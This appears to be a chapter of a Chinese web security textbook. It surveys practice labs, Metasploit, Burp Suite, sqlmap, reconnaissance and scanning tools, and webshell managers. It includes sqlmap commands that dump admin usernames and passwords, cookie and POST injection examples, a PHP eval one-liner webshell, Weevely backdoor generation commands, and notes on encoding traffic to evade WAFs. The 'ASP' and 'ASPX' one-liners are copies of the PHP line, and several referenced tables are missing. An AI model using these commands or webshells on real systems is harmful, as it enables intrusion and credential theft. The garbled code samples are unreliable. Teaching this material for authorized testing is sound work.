在网络安全研究中,好的软件工具、系统会让 Web 的安全工作变得容易,因此在开始学习Web安全之前,有必要对主流的Web安全工具进行学习和了解。
本章主要利用一些经典的Web安全靶机和漏洞环境来学习Web安全相关原理和漏洞分析方法,具体包括DVWA、OWASP Mutillidae、Pikachu、VulHub和phpMyAdmin等环境。
DVWA 是进行安全测试的开源网站系统,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助Web开发者更好地理解Web应用安全技术的细节。
DVWA共包含10个模块,如表3-4所示。
表3-4 DVWA模块
每个模块的代码都有4种安全等级:Low、Medium、High、Impossible。通过进行从低难度到高难度的测试并参考代码变化分析可以更快地理解漏洞原理。关于DVWA的详细使用方法及更多信息,可以查阅DVWA项目主页。
OWASP Mutillidae是一个开源的漏洞演习系统,是专门为OWASP提出的前10种漏洞制作的漏洞测试环境,支持设置防范等级及提示的详细程度等,同时也有丰富的资料和视频资料可供学习。
OWASP Mutillidae共包含10种漏洞类型,如表3-5所示。
表3-5 OWASP Mutillidae漏洞类型
续表
关于OWASP Mutillidae的使用方法及更多信息,可以查阅OWASP Mutillidae项目主页。
3.Pikachu
Pikachu 是一个由国内安全爱好者构建的开源 Web 应用系统,预置了多种类型的 Web漏洞,可以用来对Web漏洞进行分析研究。
Pikachu 包含的漏洞具体如下:Burt Force(暴力破解漏洞)、XSS(跨站脚本漏洞)、CSRF (跨站请求伪造)、SQL-Inject(SQL注入漏洞)、RCE(远程命令/代码执行)、Files Inclusion (文件包含漏洞)、Unsafe file downloads(不安全的文件下载)、Unsafe file uploads(不安全的文件上传)、Over Permisson(越权漏洞)、../../../(目录遍历)、I can see your ABC(敏感信息泄露)、PHP 反序列化漏洞、XXE、不安全的 URL 重定向、SSRF(Server-Side Request Forgery)、管理工具。
关于Pikachu的详细使用方法及更多信息,可以查阅Pikachu项目主页。
4.VulHub
VulHub 是一个提供各种漏洞环境的开源靶场平台,供安全爱好者学习网络渗透使用。在VulHub中包含许多根据已知漏洞制作好的虚拟机镜像文件,其中设计了多种漏洞场景,可以省去我们搭建漏洞测试环境的过程,直接开始进行漏洞复现和分析测试。
VulHub中的大部分漏洞使用Docker环境进行部署,可实现自动化一键搭建漏洞测试环境。
关于VulHub的详细使用方法及更多信息,可以查阅VulHub项目主页。
5.phpMyAdmin
phpMyAdmin是一个以PHP为基础、以Web-Base方式搭建在主机或服务器上的开源MySQL数据库管理工具,通过它能够从Web界面方便地管理MySQL数据库。
关于phpMyAdmin的详细使用方法及更多信息,可以查阅phpMyAdmin主页。
下面重点介绍几款在Web 安全领域中使用较多的工具,包括Metasploit、Burp Suite、sqlmap、AWVS、AntSword等。Web安全还会用到许多其他工具,限于篇幅,本节主要对其功能及特点进行简要介绍,具体的使用方法请读者自行查阅资料。
(1)Metasploit
Metasploit由H. D. Moore于2003年开发,目前已被Rapid7公司收购。Metasploit是一款插件化、跨平台的开源网络渗透测试工具,其中内置了大量漏洞利用脚本和载荷,渗透测试人员可根据目标环境的需求定制攻击脚本进行渗透测试。网络攻击测试系统 Kali 中已经内置Metasploit,读者可以直接进行使用。
Metasploit中常用的命令如表3-6所示。
表3-6 Metasploit中常用的命令
关于Metasploit的详细使用方法及更多信息,可以查阅Metasploit项目主页。
(2)Burp Suite
Burp Suite是用于Web安全研究的集成平台,其中包含了许多插件,能够实现请求拦截、数据修改、漏洞测试等功能。Burp Suite为这些插件设计了接口,以加快攻击应用程序的过程。所有插件都共享一个请求,并能处理对应的HTTP(S)消息。
Burp Suite中的常用功能模块如表3-7所示。
表3-7 Burp Suite中的常用功能模块
sqlmap是一款开源的渗透测试工具,sqlmap可以用来进行自动化的检测和利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过采用外带数据连接的方式来执行操作系统命令。
sqlmap支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等数据库的各种安全漏洞检测,并支持以下5种注入模式。
① 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
② 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断条件真假。
③ 基于报错注入,即页面会返回错误信息,或把注入的语句的结果直接返回在页面中。
④ 联合查询注入,可以在使用union的情况下注入。
⑤ 堆查询注入,可以在同时执行多条语句时注入。
sqlmap的常用命令具体如下。
sqlmap –u "http://www.×××.com/en/CompHonorBig.asp?id=7" #猜解是否能注入 sqlmap –u "http://www.×××.com/en/CompHonorBig.asp?id=7" --dbs #猜解数据库 sqlmap -u "http://www.×××.com/en/CompHonorBig.asp?id=7" --dbs --tables #猜解表 sqlmap –u "http://www.×××.com/link.php?id=321"-D dataname -T table_name --columns # 获取字段的值(假如扫描出id,user,password字段) sqlmap -u "http://www.×××.com/link.php?id=321"-D dataname -T table_name -C "id,user,password" --dump #获取id,user,password的内容并保存下来 sqlmap -u "http://www.×××.com/en/CompHonorBig.asp?id=7" --columns -T admin #猜解admin 表的字段 sqlmap -u "http://www.×××.com/en/CompHonorBig.asp?id=7" --dump -T admin -C "username,password" #获取admin表username,password字段的内容
Cookie注入具体如下。
sqlmap -u "http://www.×××.com/jsj/shownews.asp" --cookie "id=31" --table --level 2 #cookie注入,对cookie中的字段进行测试 sqlmap -u "http://×××.×××.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=s98ocebpescf7ik8e6q4t0c0i2"
POST注入具体如下。
sqlmap -r c:\tools\request.txt -p "username" –-dbms mysql #指定username参数
(1)目录扫描
Web目录扫描主要用来发现一些未知的Web页面和资源,同时针对Web站点的一些管理登录入口进行发现,扩大 Web 渗透检测的攻击面。常用的 Web 目录扫描工具有 dirb、dirsearch、dirbuster等,这些工具一般会内置一些字典,字典的好坏会影响检测的结果。
(2)域名/IP信息搜集
域名/IP信息搜集主要用来发现域名注册的相关信息和与域名相关的子域名、旁站信息,根据这些信息可以进行社工或者攻击面的扩展。例如,通过使用Whois工具可以获取域名的注册人邮箱、Name Server、地址等敏感信息。通过IP地址可以获取网络节点经纬度、所属ASN和组织信息等。
(3)Web指纹识别
在进行漏洞利用之前首先要掌握目标网络或站点使用了哪些应用和服务,以及应用和服务的具体版本,并在此基础上选取漏洞利用工具,实施渗透测试,这个过程就是指纹识别。
识别Web指纹的工具主要有Whatweb和Whatcms,浏览器插件有Wappalyzer和Shodan,它们都可以获取Web站点使用的相关技术的具体信息。
在 Web 安全领域,有一些比较成熟的自动化漏洞检测工具可以用来自动对目标站点进行漏洞检测,这些工具一般内置大量的漏洞检测脚本和检测算法,可以省去人工测试的时间,缺点是发送的请求测试报文数量比较大,容易被安防设备检测发现。常用的 Web 自动化漏洞检测工具有AWVS和AppScan等。
(1)AWVS
AWVS的全称是Acunetix Web Vulnerability Scanner,它是一款自动化的Web应用程序安全测试工具,能够扫描任意可通过Web浏览器访问的、遵循HTTP/HTTPS规则的Web服务和Web应用程序,并自动测试该站点或应用程序是否存在安全漏洞。
(2)AppScan
AppScan与AWVS类似,也是针对Web的自动化安全测试工具,可以自动化检测网站是否存在漏洞。
5.Webshell
在 CTF 竞赛或渗透测试的过程中,如果想获取目标节点的控制权限并执行命令,最好的方式就是在目标节点上放置后门木马。对于 Web 攻防而言,最常见的后门木马就是Webshell。Webshell通常根据目标对象的语言和环境研发,具有查看文件、执行命令、上传下载的能力。下面介绍3款常用的 Webshell,即中国蚁剑(AntSword)、冰蝎(Behinder)和Weevely,它们均对自身进行了变形处理,并对通信数据进行加密,具有较强的实用性。
(1)AntSword
AntSword是一款开源的跨平台网站管理工具,AntSword针对PHP、ASP和ASPX语言生成的一句话木马分别如下。
PHP 一句话: <?php @eval($_post['pass']);?> ASP 一句话: <?php @eval($_post['pass']);?> ASPX 一句话: <?php @eval($_post['pass']);?>
AntSword还支持使用多种编码方式对传输过程中的数据进行编码,以此来规避WAF的探查。其中,对于发送和接收的数据,可以使用不同的编码方式,如对于POST则选择Base64编码,对于返回的数据则选择Rot13等。
(2)Behinder
Behinder是一款新型的加密网站管理客户端,支持对Webshell流量进行动态加密,可以很好地规避WAF检查。Behinder会对所有的流量进行AES-128加密,秘钥生成和加密过程在Webshell通信过程中随机生成。
Behinder的架构如图3-3所示。
关于Behinder的详细使用方法及更多信息,可以查阅Behinder主页。
(3)Weevely
Weevely是一款只针对PHP的Webshell生成和管理工具,它对传输的数据进行了处理,在通信中用HTTP头进行指令传输。Weevely共有30多个管理模块,具有执行系统命令、浏览文件系统等功能。通过执行下面的命令可以生成Weevely的一句话木马并进行连接。
# 生成一句话 weevely generate <password> b.php # 连接 weevely <URL> <password>
图3-3 Behinder的架构
除了上面介绍的这些Webshell外,GitHub等网站上还有更多有特点的 Webshell,读者可以根据自己的兴趣进行学习、研究。